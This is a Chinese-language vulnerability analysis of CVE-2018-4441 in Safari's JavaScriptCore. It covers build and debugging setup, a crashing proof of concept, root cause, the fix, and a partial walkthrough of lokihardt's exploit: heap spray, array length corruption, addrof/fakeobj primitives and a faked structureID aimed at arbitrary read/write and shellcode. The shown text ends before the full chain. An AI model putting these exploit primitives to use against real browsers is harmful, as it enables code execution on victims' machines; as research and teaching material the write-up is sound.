作者: 天融信阿爾法實驗室
原文鏈接:https://mp.weixin.qq.com/s/pGvnLJouphJqxQ2zPDAcUw
最近研究了safari瀏覽器JavascriptCore引擎的一個OOB漏洞CVE-2018-4441,雖然這是一個比較老的漏洞,但是研究這個漏洞還是能學到不少東西。這里介紹了jsc環境搭建的方法和jsc一些基本調試技巧,詳細分析了CVE-2018-4441的漏洞成因和lokihardt堆噴修改數組長度構成OOB的方法,希望讀者讀完能有所收獲。
環境搭建
下載源碼
下載源碼使用
git clone https://git.webkit.org/git/WebKit.git WebKit
如下載的源碼較舊需更新源碼到最新日期則使用
git fetch --all
git reset --hard origin/master
git pull
切換到包含漏洞的commit_hash,這里我沒有找到很好的方法,我使用的方法是搜索CVE-2018-4441的修復日期fix_date,然后從webkit的github上搜索小于fix_date的commit,即committer-date:<fix_date,最后使用的是21687be235d506b9712e83c1e6d8e0231cc9adfd。切換的命令如下
git checkout -b CVE-2018-4441 21687be235d506b9712e83c1e6d8e0231cc9adfd
命令的格式為git checkout -b {local_name} {commit_hash}。
編譯安裝
安裝依賴項
Tools/gtk/install-dependencies
這里如果是在linux下使用時提示缺少pipenv包需要注釋掉install-dependencies中函數installDependenciesWithApt里邊的pipenv包。
編譯
Tools/Scripts/build-webkit --jsc-only --debug
Tools/Scripts/build-webkit --jsc-only --release
調試
js斷點
這里介紹兩個使jsc在我們編寫的js代碼里斷下來的技巧(即類似V8的%SystemBreak())。
方法一
在編寫的js代碼里定義斷點函數
function b(){
Array.prototype.slice([]); //needs "b arrayProtoFuncSlice"
}
在調試器里設置arrayProtoFuncSlice的斷點即"b arrayProtoFuncSlice"。這樣在js代碼里調用b()調試器就會斷在這里了。
這個方法的缺點是如果調試的漏洞會調用到arrayProtoFuncSlice的話可能會對漏洞分析調試產生影響。
方法二
修改jsc的源碼添加如下輔助函數
diff --git diff --git a/Source/JavaScriptCore/jsc.cpp b/Source/JavaScriptCore/jsc.cpp
index bda9a09d0d2..d359518b9b6 100644
--- a/Source/JavaScriptCore/jsc.cpp
+++ b/Source/JavaScriptCore/jsc.cpp
@@ -994,6 +994,7 @@ static EncodedJSValue JSC_HOST_CALL functionSetHiddenValue(ExecState*);
static EncodedJSValue JSC_HOST_CALL functionPrintStdOut(ExecState*);
static EncodedJSValue JSC_HOST_CALL functionPrintStdErr(ExecState*);
static EncodedJSValue JSC_HOST_CALL functionDebug(ExecState*);
+static EncodedJSValue JSC_HOST_CALL functionDbg(ExecState*);
static EncodedJSValue JSC_HOST_CALL functionDescribe(ExecState*);
static EncodedJSValue JSC_HOST_CALL functionDescribeArray(ExecState*);
static EncodedJSValue JSC_HOST_CALL functionSleepSeconds(ExecState*);
@@ -1218,6 +1219,7 @@ protected:
addFunction(vm, "debug", functionDebug, 1);
addFunction(vm, "describe", functionDescribe, 1);
+ addFunction(vm, "dbg", functionDbg, 0);
addFunction(vm, "describeArray", functionDescribeArray, 1);
addFunction(vm, "print", functionPrintStdOut, 1);
addFunction(vm, "printErr", functionPrintStdErr, 1);
@@ -1752,6 +1754,13 @@ EncodedJSValue JSC_HOST_CALL functionDebug(ExecState* exec)
return JSValue::encode(jsUndefined());
}
+EncodedJSValue JSC_HOST_CALL functionDbg(ExecState* exec)
+{
+ asm("int3;");
+
+ return JSValue::encode(jsUndefined());
+}
+
EncodedJSValue JSC_HOST_CALL functionDescribe(ExecState* exec)
{
if (exec->argumentCount() < 1)
重新編譯jsc代碼,在js代碼里定義如下斷點函數
function b(){
dbg();
}
這樣在js代碼里調用函數b()時調試器就會斷在這里了。
對象調試
jsc中也有一些類似v8的%DebugPrint()的輔助調試輸出函數,定義JavaScriptCore/jsc.cpp里。jsc中輸出對象的方法如下
debug(describe(obj));
漏洞分析
POC
function main() {
let arr = [1];
arr.length = 0x100000;
arr.splice(0, 0x11);
arr.length = 0xfffffff0;
arr.splice(0xfffffff0, 0, 1);
}
main();
poc中首先定義了一個CopyOnWriteArrayWithInt32的數組arr
--> Object: 0x7fffb30b4340 with butterfly 0x7fe0000e4010 (Structure 0x7fffb30f2c30:[Array, {}, CopyOnWriteArrayWithInt32, Proto:0x7fffb30c80a0, Leaf]), StructureID: 102
其中jsc的數組存儲規則定義在/Source/JavaScriptCore/runtime/ArrayConventions.h里。elements的存儲定義如下,
// * Where (i < MIN_SPARSE_ARRAY_INDEX) the value will be stored in the storage vector,
// unless the array is in SparseMode in which case all properties go into the map.
// * Where (MIN_SPARSE_ARRAY_INDEX <= i <= MAX_STORAGE_VECTOR_INDEX) the value will either
// be stored in the storage vector or in the sparse array, depending on the density of
// data that would be stored in the vector (a vector being used where at least
// (1 / minDensityMultiplier) of the entries would be populated).
// * Where (MAX_STORAGE_VECTOR_INDEX < i <= MAX_ARRAY_INDEX) the value will always be stored
// in the sparse array.
此時arr的元素下標小于MIN_SPARSE_ARRAY_INDEX(即100000U)會存儲在butterfly的storage vector里,butterfly(0x7fe0000e4010)
0x7fe0000e4000: 0x0100111500000014 0x0000000100000001
0x7fe0000e4010: 0xffff000000000001 0x00000000badbeef0
0x7fe0000e4020: 0x00000000badbeef0 0x00000000badbeef0
poc中之后修改了arr的長度為0x100000,此時下標大于MIN_SPARSE_ARRAY_INDEX(100000U)數組類型變為ArrayWithArrayStorage
--> Object: 0x7fffb30b4340 with butterfly 0x7fe0000fe6e8 (Structure 0x7fffb30f2b50:[Array, {}, ArrayWithArrayStorage, Proto:0x7fffb30c80a0, Leaf]), StructureID: 100
此時jsc開辟了新的ArrayStorage并把butterfly指向新的ArrayStorage。butterfly(0x7fe0000fe6e8)
0x7fe0000fe6d8: 0x00000000badbeef0 0x0000000100100000
0x7fe0000fe6e8: 0x0000000000000000 0x0000000100000000
0x7fe0000fe6f8: 0xffff000000000001 0x00000000badbeef0
在執行arr.splice(0, 0x11),移除0x11個元素后butterfly變為
0x7fe0000fe6d8: 0x00000000badbeef0 0x00000001000fffef
0x7fe0000fe6e8: 0x0000000000000000 0xfffffff000000000
0x7fe0000fe6f8: 0x0000000000000000 0x00000000badbeef0
poc中重新設置arr的長度arr.length = 0xfffffff0,此時butterfly變為
0x7fe0000fe6d8: 0x00000000badbeef0 0x00000001fffffff0
0x7fe0000fe6e8: 0x0000000000000000 0xfffffff000000000
0x7fe0000fe6f8: 0x0000000000000000 0x00000000badbeef0
繼續調用arr.splice(0xfffffff0, 0, 1)添加元素時發現jsc運行崩潰

崩潰時寫的地址為0x7ff0000fe6e8+0xfffffff0*8+0x10=0x7FF8000FE678,0x7FF8000FE678不可寫導致崩潰
pwndbg> vmmap 0x7FF8000FE678
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x7ff400000000 0x7ffc00000000 ---p 800000000 0
漏洞根源分析
poc崩潰時棧回溯如下
pwndbg> bt
#0 JSC::JSArray::unshiftCountWithArrayStorage (this=0x7fffb30b4340, exec=0x1, startIndex=<optimized out>, count=1, storage=0x7ff0000fe6e8) at ../../Source/JavaScriptCore/runtime/JSArray.cpp:1060
#1 0x00000000013a3369 in JSC::JSArray::unshiftCountWithAnyIndexingType (this=0x7fffb30b4340, exec=0x7fffffffcde0, startIndex=4294967280, count=<optimized out>) at ../../Source/JavaScriptCore/runtime/JSObject.h:863
#2 0x00000000012c19af in JSC::JSArray::unshiftCountForSplice (this=<optimized out>, exec=<optimized out>, startIndex=<optimized out>, count=<optimized out>) at ../../Source/JavaScriptCore/runtime/JSArray.h:149
#3 JSC::JSArray::unshiftCount<(JSC::JSArray::ShiftCountMode)1> (this=<optimized out>, count=<optimized out>, exec=<optimized out>, startIndex=<optimized out>) at ../../Source/JavaScriptCore/runtime/JSArray.h:158
#4 JSC::unshift<(JSC::JSArray::ShiftCountMode)1> (exec=0x7fffffffcde0, thisObj=0x7fffb30b4340, header=<optimized out>, currentCount=0, resultCount=<optimized out>, length=4294967280) at ../../Source/JavaScriptCore/runtime/ArrayPrototype.cpp:361
#5 0x00000000012b6b2a in JSC::arrayProtoFuncSplice (exec=0x7fffffffcde0) at ../../Source/JavaScriptCore/runtime/ArrayPrototype.cpp:1091
#6 0x00007fffb39ff177 in ?? ()
#7 0x00007fffffffce70 in ?? ()
#8 0x0000000001126f00 in llint_entry ()
我分析這個漏洞根本原因的方法是先從ECMAScript查了下Array.prototype.splice方法的實現,然后從崩潰的開始JSC::arrayProtoFuncSplice函數分析。
JSC: arrayProtoFuncSplice的大致邏輯是找到splice調用時的數組起點actualstart并根據參數個數來對數組進行刪除元素或添加元素,刪除或添加元素使用的是shift或unshift。
poc中第一次調用arr.splice(0, 0x11)刪除元素時使用的是shift,并最終由于arr類型為ArrayWithArrayStorage調用到shiftCountWithArrayStorage。
bool JSArray::shiftCountWithArrayStorage(VM& vm, unsigned startIndex, unsigned count, ArrayStorage* storage)
{
......
// If the array contains holes or is otherwise in an abnormal state,
// use the generic algorithm in ArrayPrototype.
if ((storage->hasHoles() && this->structure(vm)->holesMustForwardToPrototype(vm, this))
|| hasSparseMap()
|| shouldUseSlowPut(indexingType())) {
return false;
}
if (!oldLength)
return true;
unsigned length = oldLength - count;
storage->m_numValuesInVector -= count;
storage->setLength(length);
在shiftCountWithArrayStorage進行了一些列判斷來決定array是否使用ArrayPrototype中的方法處理splice調用中的刪除元素操作,若這一系列判斷條件全部為假則執行storage->m_numValuesInVector -= count對splice調用中的數組storage->vectorLength賦值的操作,實際上這一系列的判斷是存在缺陷的,漏洞的根源也就出在這里。產生漏洞的原因即判斷條件全部為假時m_numValuesInVector和array.length我們可控,在隨后的分析中我們可以看到這兩個值可控會導致添加元素調用unshiftCountWithArrayStorage時實際storage->hasHoles()為真的數組返回為假,在memmove初始化新的storage時導致OOB。
shiftCountWithArrayStorage中首先判斷了hasHoles,jsc中storage->hasHoles()實際上判斷的是\*(dword\*)(&butterfly+0xc)==\*(dword\*)(&butterfly-0x4),即storageLength==vectorLength,

此時由于m_numValuesInVector!=storage->length,hasHoles為真。butterfly(0x7ff0000fe6e8)
pwndbg> x/6xg 0x7ff0000fe6e8-0x10
0x7ff0000fe6d8: 0x00000000badbeef0 0x0000000100100000
0x7ff0000fe6e8: 0x0000000000000000 0x0000000100000000
0x7ff0000fe6f8: 0xffff000000000001 0x00000000badbeef0
pwndbg> p *(JSC::ArrayStorage *) 0x7ff0000fe6e8
$8 = {
m_sparseMap = {
<JSC::WriteBarrierBase<JSC::SparseArrayValueMap, WTF::DumbPtrTraits<JSC::SparseArrayValueMap> >> = {
m_cell = 0x0
}, <No data fields>},
m_indexBias = 0,
m_numValuesInVector = 1,
m_vector = {{
<JSC::WriteBarrierBase<JSC::Unknown, WTF::DumbValueTraits<JSC::Unknown> >> = {
m_value = -281474976710655
}, <No data fields>}}
}
然后繼續判斷會調用到holesMustForwardToPrototype
bool Structure::holesMustForwardToPrototype(VM& vm, JSObject* base) const
{
ASSERT(base->structure(vm) == this);
if (this->mayInterceptIndexedAccesses())
return true;
JSValue prototype = this->storedPrototype(base);
if (!prototype.isObject())
return false;
JSObject* object = asObject(prototype);
while (true) {
Structure& structure = *object->structure(vm);
if (hasIndexedProperties(object->indexingType()) || structure.mayInterceptIndexedAccesses())
return true;
prototype = structure.storedPrototype(object);
if (!prototype.isObject())
return false;
object = asObject(prototype);
}
RELEASE_ASSERT_NOT_REACHED();
return false;
}
holesMustForwardToPrototype中主要是遍歷了array的原型鏈并判斷了hasIndexedProperties和mayInterceptIndexedAccesses屬性,如果這兩個屬性都為假會返回false。
回到shiftCountWithArrayStorage的3個判斷,即
if ((storage->hasHoles() && this->structure(vm)->holesMustForwardToPrototype(vm, this))
|| hasSparseMap()
|| shouldUseSlowPut(indexingType()))
按照lokihardt的說法由于poc中的arr在原型鏈中不含索引訪問和proxy對象,第一個&&的判斷中holesMustForwardToPrototype會為假。其余兩個判斷也為假。這樣就導致shiftCountWithArrayStorage執行到如下代碼
storage->m_numValuesInVector -= count;
poc中的arr->m_numValuesInVector = 1,這樣刪除0x11個元素后1-0x11=0xFFFFFFFFFFFFFFF0,保存時取低4字節為0xfffffff0。
poc中執行到arr.splice(0xfffffff0, 0, 1)添加元素時使用的是unshift,并最終由于arr類型為ArrayWithArrayStorage調用到unshiftCountWithArrayStorage。
bool JSArray::unshiftCountWithArrayStorage(ExecState* exec, unsigned startIndex, unsigned count, ArrayStorage* storage)
{
......
// If the array contains holes or is otherwise in an abnormal state,
// use the generic algorithm in ArrayPrototype.
if (storage->hasHoles() || storage->inSparseMode() || shouldUseSlowPut(indexingType()))
return false;
在unshiftCountWithArrayStorage中首先判斷了arr的storage是否hasHoles,如果hasHoles為真則使用ArrayPrototype的其他方法去處理splice調用時刪除或添加的元素。
由于poc中我們修改了arr的length為0xFFFFFFF0,又由于第一次調用splice方法刪除元素時在shiftCountWithArrayStorage中不正確地更新了m_numValuesInVector,此時length=m_numValuesInVector=0xFFFFFFF0,storage->hasHoles()返回為假jsc繼續使用unshiftCountWithArrayStorage的方法處理splice調用中添加的元素。此時butterfly(0x7ff0000fe6e8)如下,\*(dword\*)(&butterfly+0xc)==\*(dword\*)(&butterfly-0x4)
pwndbg> p *(JSC::ArrayStorage *)0x7ff0000fe6e8
$4 = {
m_sparseMap = {
<JSC::WriteBarrierBase<JSC::SparseArrayValueMap, WTF::DumbPtrTraits<JSC::SparseArrayValueMap> >> = {
m_cell = 0x0
}, <No data fields>},
m_indexBias = 0,
m_numValuesInVector = 4294967280,
m_vector = {{
<JSC::WriteBarrierBase<JSC::Unknown, WTF::DumbValueTraits<JSC::Unknown> >> = {
m_value = 0
}, <No data fields>}}
}
pwndbg> x/6xg 0x7ff0000fe6e8-0x10
0x7ff0000fe6d8: 0x00000000badbeef0 0x00000001fffffff0
0x7ff0000fe6e8: 0x0000000000000000 0xfffffff000000000
0x7ff0000fe6f8: 0x0000000000000000 0x00000000badbeef0
unshiftCountWithArrayStorage隨后設置了storage的gc狀態為推遲,然后重新設置了array->storage。隨后的漏洞利用分析中可以看到這里調用memmove處理新的storage就是導致OOB的根本原因。
WriteBarrier<Unknown>* vector = storage->m_vector;
if (startIndex) {
if (moveFront)
memmove(vector, vector + count, startIndex * sizeof(JSValue));
else if (length - startIndex)
memmove(vector + startIndex + count, vector + startIndex, (length - startIndex) * sizeof(JSValue));
}
for (unsigned i = 0; i < count; i++)
vector[i + startIndex].clear();
return true;
}
總結一下漏洞的邏輯:poc中的arr第一次調用splice刪除元素時會調用到shiftCountWithArrayStorage,在shiftCountWithArrayStorage會遍歷arr的原型鏈并存在可能使得原型鏈判斷返回假,導致在shiftCountWithArrayStorage中arr的m_numValuesInVector 被不恰當地更新(本不該執行到這里);在第二次調用splice添加元素時調用到unshiftCountWithArrayStorage,如果設置arr.length=m_numValuesInVector 導致arr->hasHoles判斷為假,進而在unshiftCountWithArrayStorage中使用memmove更新storage時導致OOB。
patch分析
patch地址:https://github.com/WebKit/webkit/commit/51a62eb53815863a1bd2dd946d12f383e8695db0
patch中去掉了shiftCountWithArrayStorage中遍歷原型鏈的判斷,且不管array是否storage->hasHoles()都使用memmove去更新storage。這樣在調用splice刪除元素時只要數組vectorLength!=storageLength即hasHoles為真都會使用ArrayPrototype中的方法去處理,不會更新m_numValuesInVector ,這樣這個漏洞就從根源上被修復了。

但是這里我沒有想明白的一點是為什么修復漏洞之前還要多此一舉的調用holesMustForwardToPrototype判斷array的原型鏈,既然不判斷既沒有漏洞又省去了一次執行判斷原型鏈的時間。
漏洞利用
exp來自那個男人,即lokihardt。
首先整理一下通過這個漏洞我們可控的東西:splice在刪除元素時不正確更新的vectorLength、array數組的長度storageLength,在調用splice添加元素時如果vectorLength=storageLength即storage->hasHoles為真會執行unshiftCountWithArrayStorage中更新storage的流程,并且更新storage的流程memmove時似乎存在利用的可能。
lokihardt的利用思路是通過堆噴利用unshiftCountWithArrayStorage更新storage時memmove修改數組長度構成OOB進而構造addrof、fakeobj原語,構造ArrayWithArrayStorage類型的fakeobj記hax并使hax的butterfly指向ArrayWithDouble類型的victim,通過修改hax[1]即victim.butterfly為addr和victim.prop完成任意地址讀寫,通過任意地址讀寫修改wasm模塊rwx的內存區來執行shellcode。
heap spray
let spray = new Array(0x3000);
for (let i = 0; i < 0x3000; i += 2) {
spray[i] = [13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37+i];
spray[i+1] = [{},{},{},{},{},{},{},{},{},{}];
}
for (let i = 0; i < 0x3000; i += 2)
spray[i][0] = i2f(0x1337)
lokihardt堆噴的數組spray[i]為ArrayWithDouble,spray[i+1]為ArrayWithContiguous,且spray[i]和spray[i+1]均為10個元素,這里堆噴的數組元素類型和個數都是固定的。
首先解釋下元素的類型,這里的元素類型是為了方便利用修改長度后的堆噴數組構造fakeobj和addrof原語,測試如下代碼:
function p(obj){
debug(describe(obj));
}
function b(){
dbg(); //needs patch
}
var a1 = [1.1];
a1[0] = 13.37;
var a2 = [{}];
print("[*] a1:");
p(a1);
print("[*] a2");
p(a2);
b();
a1為ArrayWithDouble類型,jsc中存儲如下
[*] a1:
--> Object: 0x7fffb30b4370 with butterfly 0x7fe0000fe928 (Structure 0x7fffb30f2a70:[Array, {}, ArrayWithDouble, Proto:0x7fffb30c80a0, Leaf]), StructureID: 98
pwndbg> x/6xg 0x7fffb30b4370
0x7fffb30b4370: 0x0108210700000062 0x00007fe0000fe928
0x7fffb30b4380: 0x0108210900000063 0x00007fe0000fe948
0x7fffb30b4390: 0x00000000badbeef0 0x00000000badbeef0
pwndbg> x/6xg 0x00007fe0000fe928-0x10
0x7fe0000fe918: 0x00007fffb306c280 0x0000000100000001
0x7fe0000fe928: 0x402abd70a3d70a3d 0x00000000badbeef0
0x7fe0000fe938: 0x00000000badbeef0 0x0000000300000001
可以看到a1即ArrayWithDouble的元素在butterfly的storage中直接存儲。
a2為ArrayWithContiguous類型,jsc中存儲如下
[*] a2
--> Object: 0x7fffb30b4380 with butterfly 0x7fe0000fe948 (Structure 0x7fffb30f2ae0:[Array, {}, ArrayWithContiguous, Proto:0x7fffb30c80a0]), StructureID: 99
pwndbg> x/6xg 0x7fffb30b4380
0x7fffb30b4380: 0x0108210900000063 0x00007fe0000fe948
0x7fffb30b4390: 0x00000000badbeef0 0x00000000badbeef0
0x7fffb30b43a0: 0x00000000badbeef0 0x00000000badbeef0
pwndbg> x/6xg 0x00007fe0000fe948-0x10
0x7fe0000fe938: 0x00000000badbeef0 0x0000000300000001
0x7fe0000fe948: 0x00007fffb30b0080 0x0000000000000000
0x7fe0000fe958: 0x0000000000000000 0x00000000badbeef0
pwndbg> x/6xg 0x00007fffb30b0080-0x10
0x7fffb30b0070: 0x0000000000000004 0x00000000badbeef0
0x7fffb30b0080: 0x010016000000004c 0x0000000000000000
0x7fffb30b0090: 0x0000000000000000 0x0000000000000000
a2中的元素{}在butterfly中以類似object的形式存儲,即butterfly中存儲的是指向{}內存區的指針,指針指向a2的真正內容。即a2.butterfly->*p->content。
再看一遍lokihardt堆噴的數組,spray[i]為ArrayWithDouble,butterfly:0x7fe00028c078,spray[i+1]為ArrayWithContiguous,butterfly:0x7fe00028c0e8。
pwndbg> x/40xg 0x00007fe00028c078-0x40
0x7fe00028c038: 0x00007fffb1a65c40 0x00007fffb1a65c80
0x7fe00028c048: 0x00007fffb1a65cc0 0x0000000000000000
0x7fe00028c058: 0x0000000000000000 0x0000000000000000
0x7fe00028c068: 0x0000000d0000000a 0x0000000000001337
0x7fe00028c078: 0x402abd70a3d70a3d 0x402abd70a3d70a3d
0x7fe00028c088: 0x402abd70a3d70a3d 0x402abd70a3d70a3d
0x7fe00028c098: 0x402abd70a3d70a3d 0x402abd70a3d70a3d
0x7fe00028c0a8: 0x402abd70a3d70a3d 0x402abd70a3d70a3d
0x7fe00028c0b8: 0x40c735af5c28f5c3 0x7ff8000000000000
0x7fe00028c0c8: 0x7ff8000000000000 0x7ff8000000000000
0x7fe00028c0d8: 0x0000000d0000000a 0x00007fffb1a65d00
0x7fe00028c0e8: 0x00007fffb1a65d40 0x00007fffb1a65d80
0x7fe00028c0f8: 0x00007fffb1a65dc0 0x00007fffb1a65e00
0x7fe00028c108: 0x00007fffb1a65e40 0x00007fffb1a65e80
0x7fe00028c118: 0x00007fffb1a65ec0 0x00007fffb1a65f00
0x7fe00028c128: 0x00007fffb1a65f40 0x0000000000000000
0x7fe00028c138: 0x0000000000000000 0x0000000000000000
0x7fe00028c148: 0x0000000d0000000a 0x0000000000001337
0x7fe00028c158: 0x402abd70a3d70a3d 0x402abd70a3d70a3d
0x7fe00028c168: 0x402abd70a3d70a3d 0x402abd70a3d70a3d
構造addrof:spray[i+1][0]=obj,jsc會在0x7fe00028c0e8的位置保存obj的地址指針,在0x7fe00028c0e8的位置保存obj的內容,這樣我們通過讀spray[i][14]的內容即可實現讀對象的地址。
構造fakeobj:spray[i][14]=addr,此時spray[i+1][0]的位置即為addr,由于spray[i+1]為ArrayWithContiguous類型即spray[i+1][x]中保存的是類似obj的對象,這樣spray[i+1][0]即為我們構造的fakeobj對象。
再解釋下堆噴的數組元素個數是10個。要理解堆噴元素個數首先要理解的一點是lokihardt利用的思路,如果我們可以修改堆噴的數組長度使spray[i]可以訪問到spray[i+1][xx]就可以構造fakeobj和addrof原語,而正常情況下不修改數組長度spray[i]肯定是不能訪問到spray[i+1]的,那么如何修改堆噴數組的長度呢?可能的思路有兩個:
-
堆噴后手動觸發GC調用splice添加元素使調用splice時新添加的storage的butterfly正好落在spray[i]里(即在spray[i]處偽造一個butterfly并修改spray[i]的length),但是這個方法明顯的缺陷就是觸發GC的時機和新的butterfly太難控制了,控制不當jsc肯定會崩潰;
-
調試發現exp中splice添加元素的過程會觸發創建新的butterfly的操作,新創建的butterfly會落在最后一個堆噴數組的后面(spray[0x3000].butterfly的后面),配合unshiftCountWithArrayStorage中的memmove可以達到修改堆噴數組長度的效果,這也是這個漏洞為什么會被描述為OOB的根本原因。
第一次arr.splice(0, 0x11)刪除元素時arr的存儲
--> Object: 0x7fffb30b4370 with butterfly 0x7ff0000fe948 (Structure 0x7fffb30f2b50:[Array, {}, ArrayWithArrayStorage, Proto:0x7fffb30c80a0, Leaf]), StructureID: 100
堆噴后調用arr.splice(0x1000,0,1)添加元素,unshiftCountWithArrayStorage處理exp中的arr時會調用到unshiftCountSlowCase,并在tryCreateUninitialized中創建新的storage,大小為88=0x58

字節對齊后為0x50,為了防止隨后的memmove移動內存過程中破壞內存,堆噴的數組元素個數申請了10個。
unshiftCountWithArrayStorage在創建完新的storage后會初始化新的storage,即memmove的過程,exp中會執行到以下流程

這里dst=0x7ff000287a78即arr新的butterfly+0x10的位置,src=0x7ff000287a80,n=0x8000即將0x7ff000287a80開始0x8000的內存整體前移8字節,這里會使堆噴數組中某個spray[i][0]的元素覆蓋到*(dword\*)(&spray[i]-8)的位置,即0x1337覆蓋到spray[i]的length域
pwndbg> x/20xg 0x7ff000287a78-0x40
0x7ff000287a38: 0x00000000badbeef0 0x00000000badbeef0
0x7ff000287a48: 0x00000000badbeef0 0x00000000badbeef0
0x7ff000287a58: 0x00000000badbeef0 0x00000002fffffff0
0x7ff000287a68: 0x0000000000000000 0xfffffff000000006
0x7ff000287a78: 0x00000000badbeef0 0x0000000000000000
0x7ff000287a88: 0x00000000badbeef0 0x00000000badbeef0
0x7ff000287a98: 0x00000000badbeef0 0x00000000badbeef0
0x7ff000287aa8: 0x00000000badbeef0 0x00000000badbeef0
0x7ff000287ab8: 0x00000000badbeef0 0x00000000badbeef0
0x7ff000287ac8: 0x00000000badbeef0 0x00000000badbeef0
被覆蓋前的堆噴數組
pwndbg> x/20xg 0x7fe00028c078-0x40
0x7fe00028c038: 0x00007fffb1c69c00 0x00007fffb1c69c40
0x7fe00028c048: 0x00007fffb1c69c80 0x00007fffb1c69cc0
0x7fe00028c058: 0x0000000000000000 0x0000000000000000
0x7fe00028c068: 0x0000000000000000 0x0000000d0000000a //length
0x7fe00028c078: 0x0000000000001337 0x402abd70a3d70a3d
0x7fe00028c088: 0x402abd70a3d70a3d 0x402abd70a3d70a3d
0x7fe00028c098: 0x402abd70a3d70a3d 0x402abd70a3d70a3d
0x7fe00028c0a8: 0x402abd70a3d70a3d 0x402abd70a3d70a3d
0x7fe00028c0b8: 0x402abd70a3d70a3d 0x40c735af5c28f5c3
0x7fe00028c0c8: 0x7ff8000000000000 0x7ff8000000000000
被覆蓋后的堆噴數組
pwndbg> x/20xg 0x7fe00028c078-0x40
0x7fe00028c038: 0x00007fffb1a65c40 0x00007fffb1a65c80
0x7fe00028c048: 0x00007fffb1a65cc0 0x0000000000000000
0x7fe00028c058: 0x0000000000000000 0x0000000000000000
0x7fe00028c068: 0x0000000d0000000a 0x0000000000001337 //length
0x7fe00028c078: 0x402abd70a3d70a3d 0x402abd70a3d70a3d
0x7fe00028c088: 0x402abd70a3d70a3d 0x402abd70a3d70a3d
0x7fe00028c098: 0x402abd70a3d70a3d 0x402abd70a3d70a3d
0x7fe00028c0a8: 0x402abd70a3d70a3d 0x402abd70a3d70a3d
0x7fe00028c0b8: 0x40c735af5c28f5c3 0x7ff8000000000000
0x7fe00028c0c8: 0x7ff8000000000000 0x7ff8000000000000
到這里我們就可以控制一個可以越界訪問的ArrayWithDouble類型數組spray[i]了,通過搜索內存找到length不為0xa的堆噴數組進而可以構造addrof和fakeobj原語。
arbitrary code execute
lokihardt構造任意地址讀寫原語的思路是構造一個ArrayWithDouble的數組victim,利用漏洞版本jsc相同數據類型structureID并不會隨機化并根據i32和f64在內存中存儲位置相同構造fake structureID,構造ArrayWithArrayStorage類型的fakeobj記為hax使hax的butterfly指向victim,通過修改hax[1]即victim的butterfly為addr同時修改victim的prop實現任意地址讀寫。
fake structureID
構造victim
victim = [1.1];
victim[0] =3.3;
victim['prop'] = 13.37;
victim['prop'+1] = 13.37;
victim = [1.1]此時構造的victim的類型為CopyOnWriteArrayWithDouble,victim[0] =3.3重新分配butterfly并修改victim類型為ArrayWithDouble。jsc中這兩種類型并不一樣。ArrayWithDouble的victim存儲如下,可以看到prop存儲在*(dword\*)(butterfly-0x10)的位置。
[*] victim:
--> Object: 0x7fffb1a551f0 with butterfly 0x7ff000280058 (Structure 0x7fffb3070d90:[Array, {prop:100, prop1:101}, ArrayWithDouble, Proto:0x7fffb30c80a0, Leaf]), StructureID: 318
pwndbg> x/6xg 0x7fffb1a551f0
0x7fffb1a551f0: 0x010821070000013e 0x00007ff000280058
0x7fffb1a55200: 0x00000000badbeef0 0x00000000badbeef0
0x7fffb1a55210: 0x00000000badbeef0 0x00000000badbeef0
pwndbg> x/10xg 0x00007ff000280058-0x20
0x7ff000280038: 0x0000000000000000 0x402bbd70a3d70a3d
0x7ff000280048: 0x402bbd70a3d70a3d 0x0000000100000001
0x7ff000280058: 0x400a666666666666 0x00000000badbeef0
0x7ff000280068: 0x00000000badbeef0 0x00000000badbeef0
0x7ff000280078: 0x00000000badbeef0 0x00000000badbeef0
構造fakeobj
i32[0]=100;
i32[1]=0x01082107 - 0x10000;
var container={
jscell:f64[0],
butterfly:victim,
}
需要注意在jsc中構造fakeobj時需要繞過structureID,structureID相同的才具有相同methodTable并被jsc視為相同類型。漏洞版本的jsc并不會在每次啟動時隨機化相同數據類型的structureID,這里lokihardt把structureID初始化為了0x64即arr的ArrayWithArrayStorage類型。這里fakeobj的類型是固定的,構造ArrayWithArrayStorage類型hax的原因是ArrayWithArrayStorage的數據直接存儲在butterfly里,我們可以訪問到的hax[1]即為victim的butterfly。
[*] arr:
--> Object: 0x7fffb30b4370 with butterfly 0x7fe0000fe948 (Structure 0x7fffb30f2b50:[Array, {}, ArrayWithArrayStorage, Proto:0x7fffb30c80a0, Leaf]), StructureID: 100
[*] hax:
--> Object: 0x7fffb30c8390 with butterfly 0x7fffb1a551f0 (Structure 0x7fffb30f2b50:[Array, {}, ArrayWithArrayStorage, Proto:0x7fffb30c80a0, Leaf]), StructureID: 100
漏洞版本的jsc在解析如下代碼時保存i32和f64內容的位置實際上是相同的(這里我是調試發現的,可能是因為WastefulTypedArray類型?下文有jsc中WastefulTypedArray類型的存儲方式解釋)。
var conversion_buffer = new ArrayBuffer(8)
var f64 = new Float64Array(conversion_buffer)
var i32 = new Uint32Array(conversion_buffer)
存儲結構
[*] i32
--> Object: 0x7fffb30c8360 with butterfly 0x7fe0000e0018 (Structure 0x7fffb3070a80:[Uint32Array, {}, NonArray, Proto:0x7fffb30b4360, Leaf]), StructureID: 311
[*] f64
--> Object: 0x7fffb30c8340 with butterfly 0x7fe0000e0008 (Structure 0x7fffb30707e0:[Float64Array, {}, NonArray, Proto:0x7fffb30b4350, Leaf]), StructureID: 305
[*] conversion_buffer:
--> Object: 0x7fffb30c8320 with butterfly (nil) (Structure 0x7fffb30f3640:[ArrayBuffer, {}, NonArray, Proto:0x7fffb30c81e0, Leaf]), StructureID: 125
這里i32和f64的butterfly存儲的都不是它們的實際內容,實際存儲i32和f64內容的位置位于*(dword\*)(i32+0x10)即0x00007fe8000ff000里
pwndbg> x/20xg 0x7fffb30c8320
0x7fffb30c8320: 0x010023000000007d 0x0000000000000000
0x7fffb30c8330: 0x00007ffff3a8a600 0x00000000badbeef0
0x7fffb30c8340: 0x01082c0000000131 0x00007fe0000e0008
0x7fffb30c8350: 0x00007fe8000ff000 0x0000000200000001
0x7fffb30c8360: 0x01082a0000000137 0x00007fe0000e0018
0x7fffb30c8370: 0x00007fe8000ff000 0x0000000200000002
0x7fffb30c8380: 0x0100160000000140 0x0000000000000000
0x7fffb30c8390: 0x0001000000001337 0x00007fffb1c551f0
0x7fffb30c83a0: 0x00000000badbeef0 0x00000000badbeef0
0x7fffb30c83b0: 0x00000000badbeef0 0x00000000badbeef0
pwndbg> x/20xg 0x00007fe0000e0008-0x40
0x7fe0000dffc8: 0x0000000000000000 0x0000000000000000
